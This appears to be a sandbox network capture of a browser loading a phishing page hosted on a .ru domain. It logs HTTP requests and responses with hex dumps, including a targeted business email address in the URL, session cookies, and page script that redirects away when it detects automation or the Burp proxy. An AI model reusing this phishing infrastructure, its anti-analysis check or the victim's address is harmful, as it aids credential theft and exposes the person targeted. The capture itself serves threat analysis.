XSRF-TOKEN=eyJpdiI6Im8yNUo0aGhvY1FwdGpFQ2FicGhDYmc9PSIsInZhbHVlIjoiY0NZT0NDcG1QSTZpNXp5bE1oZDB2elVVQnpKeFE4OEI4LzdiRXdpWFZoUGY3S2U3SEZteHZJWWRHZTYzVENNeXhjS0w1RkdmRWdmRENqWTEvWUJKa0h5MWFCVXZycnRLMDMxQ1NHRXRJYUdrT2ZqUk5NdHF1QUZKYjBneC9jZlUiLCJtYWMiOiI4NzFmNGYyNzM0NDU5N2JiNzdhNDljNmEwMTBkMjFiYWU4YjQ1YmM2ZTIxNzYzZjVkMjA5ZGJjOTU4MjljMjZiIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InR5ZUljZ21ZUVJ6Q2Y3dWd2Nld1V2c9PSIsInZhbHVlIjoiZEp4b2MyWFQxbVFyME8weHRqajhYbXFhSnhiUjlMbzNxMklLak4vNDM5dDNYZXhhRlV4Y2NEakQxdkExV3RQNUZHRk1lZEs1MkpOYnIyN0M0bi9YQlIzT3NrSHpINnRvU2p3UWIyc0FPOVlnYkJPSFBGeXR5bXZ3aEp3YVRwc0ciLCJtYWMiOiI1MWJkYTdmNzk5ZjM0MWVmOTkzYWNjZjAzZjgyOWViZGNkN2FjYWJiYzllNGNkMjgyNzRmMzM5YWE2MTRkODUwIiwidGFnIjoiIn0%3D
2025-03-16 23:37:57 UTC	43	OUT	Data Raw: 64 61 74 61 3d 57 51 61 64 6d 69 6e 2e 69 6e 76 6f 69 63 65 73 25 34 30 62 6c 75 65 77 61 74 65 72 73 70 73 2e 63 6f 6d 2e 61 75 Data Ascii: data=WQadmin.invoices%40bluewatersps.com.au
2025-03-16 23:37:58 UTC	1211	IN	HTTP/1.1 200 OK Date: Sun, 16 Mar 2025 23:37:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zRK849At2P6SxgXjO0wQZ4dfi6ItqDZUjOG4h33wa6A0Aov%2Bc9ZIflorIcRVWPnPVu%2BG71uNJjnIhWpDGBDPfpIIF6AvyAOKT6R9sPLpF01yJuKuw0ue%2Fg3wcYI0aytfpZ50"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=396&min_rtt=330&rtt_var=142&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2820&recv_bytes=2437&delivery_rate=11296089&cwnd=252&unsent_bytes=0&cid=a302f51465787f30&ts=180&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6Ik9udG9QOXkrdWd3dVZ4UC9yL0MvRHc9PSIsInZhbHVlIjoibXk5RXNHN1JybnUxOWswUTFqaWtMSFFnUm1uWWVMbkYrVlUyb3QwMUNwU2pYUVlHNGM1NFFUc2FnUXdBZzllRHhEcTJDcVp1VTBqd2xrSEwvRnV6RlpXRXgzWGIxQk1SVnJoNFdneE1FMWFaSGJIOXAvek5IRFA3WVhCWkp6Q2EiLCJtYWMiOiI2OGUwNWVhOTEyNDEzMDY0M2ZhMWRkZjllMDA3ZDQ1M2ZhNDU5MzkwMGE3ZjViZTg1OTE1ZmMwNmZiZGFkMzk5IiwidGFnIjoiIn0%3D; expires=Mon, 17-Mar-2025 01:37:57 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-16 23:37:58 UTC	763	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6d 64 45 62 6d 34 35 5a 48 5a 34 63 46 64 56 4c 33 64 4d 4e 31 6f 34 4e 33 55 32 5a 6b 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 52 47 70 33 4d 6d 5a 55 54 6c 63 34 64 46 4a 51 51 6b 6f 76 62 58 6c 74 4b 33 46 4c 64 7a 68 4c 53 58 46 4b 63 46 46 79 64 46 42 53 4c 30 63 79 56 32 74 5a 4d 46 46 74 4f 47 46 71 57 44 6b 7a 65 6d 5a 35 64 6b 52 77 52 57 74 34 64 54 55 35 5a 6e 46 52 63 48 68 58 55 33 4e 46 65 55 67 31 52 30 31 71 54 44 4a 33 63 7a 46 33 62 6a 46 35 65 6b 74 32 55 57 68 79 56 46 70 4a 4d 6a 67 35 52 57 74 32 63 6d 64 58 4e 7a 42 57 65 6b 56 51 62 6c 41 30 59 6a 4a 42 56 45 4e 5a 5a 45 5a 6c 57 54 42 78 4e 6a 42 56 59 57 45 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6ImdEbm45ZHZ4cFdVL3dMN1o4N3U2ZkE9PSIsInZhbHVlIjoiRGp3MmZUTlc4dFJQQkovbXltK3FLdzhLSXFKcFFydFBSL0cyV2tZMFFtOGFqWDkzemZ5dkRwRWt4dTU5ZnFRcHhXU3NFeUg1R01qTDJ3czF3bjF5ekt2UWhyVFpJMjg5RWt2cmdXNzBWekVQblA0YjJBVENZZEZlWTBxNjBVYWE
2025-03-16 23:37:58 UTC	293	IN	Data Raw: 31 31 65 0d 0a 7b 22 61 22 3a 22 65 2b 71 6b 54 58 39 52 62 52 4b 34 53 36 69 72 36 6e 6b 46 4a 35 64 42 70 36 42 6a 57 42 4d 30 66 4b 6f 31 70 53 52 4d 64 6e 69 78 37 51 35 74 58 58 6f 6c 6e 41 52 39 62 6b 59 77 70 71 63 4a 5a 35 4a 55 6a 39 72 6b 79 32 69 78 43 6b 41 66 5c 2f 34 53 64 55 2b 6c 58 78 4d 59 38 42 55 5a 34 35 4b 4a 54 43 30 35 73 6b 79 5a 41 76 6d 78 63 58 6a 6f 31 51 63 63 41 2b 37 37 75 61 49 75 46 22 2c 22 62 22 3a 22 66 64 64 38 37 31 31 65 30 38 36 39 33 38 38 65 32 64 31 34 38 31 33 63 64 62 66 33 38 63 64 65 22 2c 22 63 22 3a 22 32 39 66 38 62 39 64 33 31 64 39 38 63 36 33 63 35 64 36 37 36 31 31 66 61 64 36 37 38 37 30 33 22 2c 22 64 22 3a 22 33 39 36 32 36 33 33 38 36 35 33 37 33 38 36 33 36 35 33 39 36 32 36 34 36 33 33 34 33 30 Data Ascii: 11e{"a":"e+qkTX9RbRK4S6ir6nkFJ5dBp6BjWBM0fKo1pSRMdnix7Q5tXXolnAR9bkYwpqcJZ5JUj9rky2ixCkAf\/4SdU+lXxMY8BUZ45KJTC05skyZAvmxcXjo1QccA+77uaIuF","b":"fdd8711e0869388e2d14813cdbf38cde","c":"29f8b9d31d98c63c5d67611fad678703","d":"396263386537386365396264633430
2025-03-16 23:37:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-16 23:37:57 UTC	545	OUT	OPTIONS /report/v4?s=sE1qY0wPlVXzMT%2F5CY7KZIAs9Z3cU2lS6XH9cgFkrLQxipGmBw7Gae%2Foy%2BWijWRgW2xScTyl3ThPlEFb4GRm%2FSPBo%2FZACd7KipOuNq4YBP1MbTE6637bp9cLo9dcSCk4ZGu%2B HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://2y.osejonco.ru Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-16 23:37:57 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: POST, OPTIONS access-control-allow-origin: * access-control-allow-headers: content-length, content-type date: Sun, 16 Mar 2025 23:37:57 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Timestamp	Bytes transferred	Direction	Data
2025-03-16 23:37:57 UTC	1358	OUT	GET /favicon.ico HTTP/1.1 Host: 2y.osejonco.ru Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://2y.osejonco.ru/r0lfuHO4/$admin.invoices@bluewatersps.com.au Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6Im8yNUo0aGhvY1FwdGpFQ2FicGhDYmc9PSIsInZhbHVlIjoiY0NZT0NDcG1QSTZpNXp5bE1oZDB2elVVQnpKeFE4OEI4LzdiRXdpWFZoUGY3S2U3SEZteHZJWWRHZTYzVENNeXhjS0w1RkdmRWdmRENqWTEvWUJKa0h5MWFCVXZycnRLMDMxQ1NHRXRJYUdrT2ZqUk5NdHF1QUZKYjBneC9jZlUiLCJtYWMiOiI4NzFmNGYyNzM0NDU5N2JiNzdhNDljNmEwMTBkMjFiYWU4YjQ1YmM2ZTIxNzYzZjVkMjA5ZGJjOTU4MjljMjZiIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InR5ZUljZ21ZUVJ6Q2Y3dWd2Nld1V2c9PSIsInZhbHVlIjoiZEp4b2MyWFQxbVFyME8weHRqajhYbXFhSnhiUjlMbzNxMklLak4vNDM5dDNYZXhhRlV4Y2NEakQxdkExV3RQNUZHRk1lZEs1MkpOYnIyN0M0bi9YQlIzT3NrSHpINnRvU2p3UWIyc0FPOVlnYkJPSFBGeXR5bXZ3aEp3YVRwc0ciLCJtYWMiOiI1MWJkYTdmNzk5ZjM0MWVmOTkzYWNjZjAzZjgyOWViZGNkN2FjYWJiYzllNGNkMjgyNzRmMzM5YWE2MTRkODUwIiwidGFnIjoiIn0%3D
2025-03-16 23:37:58 UTC	1063	IN	HTTP/1.1 404 Not Found Date: Sun, 16 Mar 2025 23:37:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HnjIl4wTdp3oNSWpIR5VBgnpAJXpqEcK87TG0IuqngVOVUS%2FwSk4l1NI7a7V4kUH0TY0gMMMD5tQsWlfUL3uwe4mg2fHtS%2BL1YL%2FErm4PCT8xItyp5Ud7%2B3fnrJ6wEakZFb%2B"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding server-timing: cfL4;desc="?proto=TCP&rtt=327&min_rtt=322&rtt_var=100&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2822&recv_bytes=2268&delivery_rate=11264623&cwnd=252&unsent_bytes=0&cid=d2cacef53b26a633&ts=321&x=0" Cache-Control: max-age=14400 CF-Cache-Status: EXPIRED Server: cloudflare CF-RAY: 921814d77c3827c6-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2026&min_rtt=2023&rtt_var=766&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2824&recv_bytes=1930&delivery_rate=1422308&cwnd=163&unsent_bytes=0&cid=4f83c521abbbf3d6&ts=582&x=0"
2025-03-16 23:37:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-16 23:37:58 UTC	520	OUT	POST /report/v4?s=sE1qY0wPlVXzMT%2F5CY7KZIAs9Z3cU2lS6XH9cgFkrLQxipGmBw7Gae%2Foy%2BWijWRgW2xScTyl3ThPlEFb4GRm%2FSPBo%2FZACd7KipOuNq4YBP1MbTE6637bp9cLo9dcSCk4ZGu%2B HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 430 Content-Type: application/reports+json Origin: https://2y.osejonco.ru User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-16 23:37:58 UTC	430	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 39 37 37 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 37 32 2e 36 37 2e 31 39 35 2e 36 31 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 32 79 2e 6f 73 65 6a 6f 6e 63 6f 2e 72 75 2f 68 Data Ascii: [{"age":0,"body":{"elapsed_time":977,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"","sampling_fraction":1.0,"server_ip":"172.67.195.61","status_code":404,"type":"http.error"},"type":"network-error","url":"https://2y.osejonco.ru/h
2025-03-16 23:37:58 UTC	214	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-allow-origin: * vary: Origin date: Sun, 16 Mar 2025 23:37:57 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Timestamp	Bytes transferred	Direction	Data
2025-03-16 23:37:58 UTC	1151	OUT	GET /zcPXmirUKpDnF5fS6FWzlptiNfDDIwgyTrsWwWW1MfzVELBijy HTTP/1.1 Host: 2y.osejonco.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6Ik9udG9QOXkrdWd3dVZ4UC9yL0MvRHc9PSIsInZhbHVlIjoibXk5RXNHN1JybnUxOWswUTFqaWtMSFFnUm1uWWVMbkYrVlUyb3QwMUNwU2pYUVlHNGM1NFFUc2FnUXdBZzllRHhEcTJDcVp1VTBqd2xrSEwvRnV6RlpXRXgzWGIxQk1SVnJoNFdneE1FMWFaSGJIOXAvek5IRFA3WVhCWkp6Q2EiLCJtYWMiOiI2OGUwNWVhOTEyNDEzMDY0M2ZhMWRkZjllMDA3ZDQ1M2ZhNDU5MzkwMGE3ZjViZTg1OTE1ZmMwNmZiZGFkMzk5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImdEbm45ZHZ4cFdVL3dMN1o4N3U2ZkE9PSIsInZhbHVlIjoiRGp3MmZUTlc4dFJQQkovbXltK3FLdzhLSXFKcFFydFBSL0cyV2tZMFFtOGFqWDkzemZ5dkRwRWt4dTU5ZnFRcHhXU3NFeUg1R01qTDJ3czF3bjF5ekt2UWhyVFpJMjg5RWt2cmdXNzBWekVQblA0YjJBVENZZEZlWTBxNjBVYWEiLCJtYWMiOiI3NGI3Y2M3ZmQwMGQ1NzkzNjY5ZmZlMTI3MjRkZWI0MWVmZWZiOTViY2RlNTZlZmE3OGI3ZmQyYTkwZTRiNGMyIiwidGFnIjoiIn0%3D
2025-03-16 23:37:58 UTC	1038	IN	HTTP/1.1 404 Not Found Date: Sun, 16 Mar 2025 23:37:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6NWC%2FVMQbOi7rpuIhxwpfvYsrLD99wZzTyEkXwEzdUCZsNKKR5eOEZI86G1EJ6akzI%2BrmbclyHBDCEAVWYfyJnP6aiHyV4utgAoRdcq%2B%2Fx%2B9yYPIPD4Rg%2BXlZkL22BAZWBjF"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=16486&min_rtt=16450&rtt_var=4689&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2062&delivery_rate=243497&cwnd=252&unsent_bytes=0&cid=86dd2c1e62360dbc&ts=188&x=0" Server: cloudflare CF-RAY: 921814dd1e130fa3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1491&min_rtt=1479&rtt_var=579&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2825&recv_bytes=1723&delivery_rate=1852791&cwnd=195&unsent_bytes=0&cid=3ae39899a463de26&ts=399&x=0"
2025-03-16 23:37:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-16 23:37:58 UTC	1521	OUT	GET /hruzkqxoscquhmojxirozgzngdpepl5ZROK5PNX8KMPTG5LD7W?DFUXXQNZLFPEFTDXJI HTTP/1.1 Host: 2y.osejonco.ru Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://2y.osejonco.ru/r0lfuHO4/$admin.invoices@bluewatersps.com.au Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6Ik9udG9QOXkrdWd3dVZ4UC9yL0MvRHc9PSIsInZhbHVlIjoibXk5RXNHN1JybnUxOWswUTFqaWtMSFFnUm1uWWVMbkYrVlUyb3QwMUNwU2pYUVlHNGM1NFFUc2FnUXdBZzllRHhEcTJDcVp1VTBqd2xrSEwvRnV6RlpXRXgzWGIxQk1SVnJoNFdneE1FMWFaSGJIOXAvek5IRFA3WVhCWkp6Q2EiLCJtYWMiOiI2OGUwNWVhOTEyNDEzMDY0M2ZhMWRkZjllMDA3ZDQ1M2ZhNDU5MzkwMGE3ZjViZTg1OTE1ZmMwNmZiZGFkMzk5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImdEbm45ZHZ4cFdVL3dMN1o4N3U2ZkE9PSIsInZhbHVlIjoiRGp3MmZUTlc4dFJQQkovbXltK3FLdzhLSXFKcFFydFBSL0cyV2tZMFFtOGFqWDkzemZ5dkRwRWt4dTU5ZnFRcHhXU3NFeUg1R01qTDJ3czF3bjF5ekt2UWhyVFpJMjg5RWt2cmdXNzBWekVQblA0YjJBVENZZEZlWTBxNjBVYWEiLCJtYWMiOiI3NGI3Y2M3ZmQwMGQ1NzkzNjY5ZmZlMTI3MjRkZWI0MWVmZWZiOTViY2RlNTZlZmE3OGI3ZmQyYTkwZTRiNGMyIiwidGFnIjoiIn0%3D
2025-03-16 23:37:58 UTC	1214	IN	HTTP/1.1 200 OK Date: Sun, 16 Mar 2025 23:37:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QPyCLVx6h3LzWHaCGuF4p03klCU9e%2FqDF3U%2FZgku0QfbOoLFqSgSipsX7C2CfXnmDWB8AoF6VRLe9p7HuSKUzBzUs3T6c9LByA%2BodQC1bRzxL5PdrlaCYFlA0kayA2fzkvsC"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=18735&min_rtt=18699&rtt_var=5284&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2431&delivery_rate=215519&cwnd=244&unsent_bytes=0&cid=fbe0f5e554910abd&ts=221&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6ImR4d0dYVlFMRVZXYWRjNFVKdmRJemc9PSIsInZhbHVlIjoiU1hTT3VWUHdFcWFqWlExUzkyR0VaV0VYRGFvZUhXK1VIMkhsYnBMZ0tkUlVhMTloZ2ppdDU2cVdOVkx0MEZ0Q3AwKzhoclRQNWU5M2RLY2ErOVpyNDNQZ2I2eVQza3RIbHl2WjBRVS8xb05TWkV1SXhPcXVMdXdsbkNybGVrSVQiLCJtYWMiOiJjMzRmOWFiZTI5MjgyOWIxNzViZmNmZTEzYzNiYmFmZjU1ZmFjMjZlY2JmMmY4NWU0MjdmMTgwM2IyMDVmZjFkIiwidGFnIjoiIn0%3D; expires=Mon, 17-Mar-2025 01:37:58 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-16 23:37:58 UTC	761	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6d 5a 59 55 33 52 53 4d 6b 46 74 61 54 6c 50 4d 57 64 4e 54 6e 70 46 61 46 42 57 55 6c 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 64 44 6c 34 4f 45 35 6c 65 6e 52 4d 56 58 52 36 63 32 52 68 5a 6e 64 36 56 7a 56 68 4d 6e 4a 55 5a 56 70 46 53 58 4a 34 52 57 52 44 4e 6d 67 33 4c 32 52 78 4f 45 78 33 4d 57 31 46 53 32 35 31 57 47 31 44 54 7a 52 79 52 56 64 5a 62 6d 4e 61 4b 31 5a 71 52 57 39 35 62 57 52 74 5a 45 49 76 4f 47 68 43 4e 56 52 35 55 57 52 68 63 6c 46 34 55 6b 64 74 52 6a 64 5a 64 6e 46 5a 52 44 68 55 4d 45 74 36 5a 54 6c 6c 64 6d 34 34 4f 58 4e 30 64 33 64 5a 63 55 5a 4c 52 6a 52 51 57 47 4a 42 54 44 6b 30 5a 6e 68 30 64 30 67 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6ImZYU3RSMkFtaTlPMWdNTnpFaFBWUlE9PSIsInZhbHVlIjoidDl4OE5lenRMVXR6c2RhZnd6VzVhMnJUZVpFSXJ4RWRDNmg3L2RxOEx3MW1FS251WG1DTzRyRVdZbmNaK1ZqRW95bWRtZEIvOGhCNVR5UWRhclF4UkdtRjdZdnFZRDhUMEt6ZTlldm44OXN0d3dZcUZLRjRQWGJBTDk0Znh0d0g
2025-03-16 23:37:58 UTC	1369	IN	Data Raw: 31 65 38 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0d 0a 20 20 20 20 3c 74 69 74 Data Ascii: 1e86<!DOCTYPE html><html lang="en"><head> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"> <meta name="robots" content="noindex, nofollow"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <tit
2025-03-16 23:37:58 UTC	1369	IN	Data Raw: 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 74 6f 70 3a 31 32 30 70 78 3b 6c 65 66 74 3a 32 35 70 78 3b 77 69 64 74 68 3a 76 61 72 28 2d 2d 65 6e 76 57 29 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 72 67 62 61 28 30 2c 30 2c 30 2c 2e 32 35 29 20 30 20 34 70 78 20 35 70 78 3b 61 6e 69 6d 61 74 69 6f 6e 3a 73 68 61 64 6f 77 2d 66 61 64 65 20 76 61 72 28 2d 2d 64 75 72 29 20 69 6e 66 69 6e 69 74 65 3b 7d 0d 0a 23 66 6c 61 70 43 6f 6e 74 61 69 6e 65 72 7b 77 69 64 74 68 3a 76 61 72 28 2d 2d 65 6e 76 57 29 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 37 39 70 78 3b 7d 0d 0a 23 65 66 7b 77 69 64 74 68 3a 76 61 72 28 2d 2d 65 6e 76 57 29 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 34 31 70 78 3b 7d 0d 0a 23 65 66 3e 2e 6c 7b 77 69 64 74 68 3a 32 38 37 70 78 3b 62 61 63 Data Ascii: position:relative;top:120px;left:25px;width:var(--envW);box-shadow:rgba(0,0,0,.25) 0 4px 5px;animation:shadow-fade var(--dur) infinite;}#flapContainer{width:var(--envW);margin-top:179px;}#ef{width:var(--envW);margin-top:-41px;}#ef>.l{width:287px;bac
2025-03-16 23:37:58 UTC	1369	IN	Data Raw: 3b 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2e 33 32 2c 30 2c 30 2e 36 37 2c 30 29 3b 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 74 6f 70 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 59 28 63 61 6c 63 28 2d 31 20 2a 20 76 61 72 28 2d 2d 65 6e 76 48 29 29 29 20 72 6f 74 61 74 65 33 64 28 31 2c 30 2c 30 2c 39 30 64 65 67 29 3b 7d 0d 0a 2e 66 6c 61 70 54 72 69 61 6e 67 6c 65 7b 77 69 64 74 68 3a 76 61 72 28 2d 2d 66 6c 61 70 53 29 3b 68 65 69 67 68 74 3a 76 61 72 28 2d 2d 66 6c 61 70 53 29 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 35 30 64 39 66 66 3b 6d 61 72 67 69 6e 3a 2d 34 38 70 78 20 61 75 74 6f 20 30 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 37 70 78 Data Ascii: ;animation-timing-function:cubic-bezier(0.32,0,0.67,0);transform-origin:top;transform:translateY(calc(-1 * var(--envH))) rotate3d(1,0,0,90deg);}.flapTriangle{width:var(--flapS);height:var(--flapS);background:#50d9ff;margin:-48px auto 0;border-radius:7px
2025-03-16 23:37:58 UTC	1369	IN	Data Raw: 6c 61 74 65 59 28 63 61 6c 63 28 2d 31 20 2a 20 76 61 72 28 2d 2d 65 6e 76 48 29 29 29 20 72 6f 74 61 74 65 33 64 28 31 2c 30 2c 30 2c 39 30 64 65 67 29 3b 7d 7d 0d 0a 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0d 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 69 66 20 28 6e 61 76 69 67 61 74 6f 72 2e 77 65 62 64 72 69 76 65 72 20 7c 7c 20 77 69 6e 64 6f 77 2e 63 61 6c 6c 50 68 61 6e 74 6f 6d 20 7c 7c 20 77 69 6e 64 6f 77 2e 5f 70 68 61 6e 74 6f 6d 20 7c 7c 20 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 69 6e 63 6c 75 64 65 73 28 22 42 75 72 70 22 29 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 20 3d 20 22 61 62 6f 75 74 3a 62 6c 61 6e 6b 22 3b 0d 0a 7d 0d 0a 64 6f 63 75 6d 65 6e 74 2e 61 64 64 45 Data Ascii: lateY(calc(-1 * var(--envH))) rotate3d(1,0,0,90deg);}} </style> <script> if (navigator.webdriver \|\| window.callPhantom \|\| window._phantom \|\| navigator.userAgent.includes("Burp")) { window.location = "about:blank";}document.addE
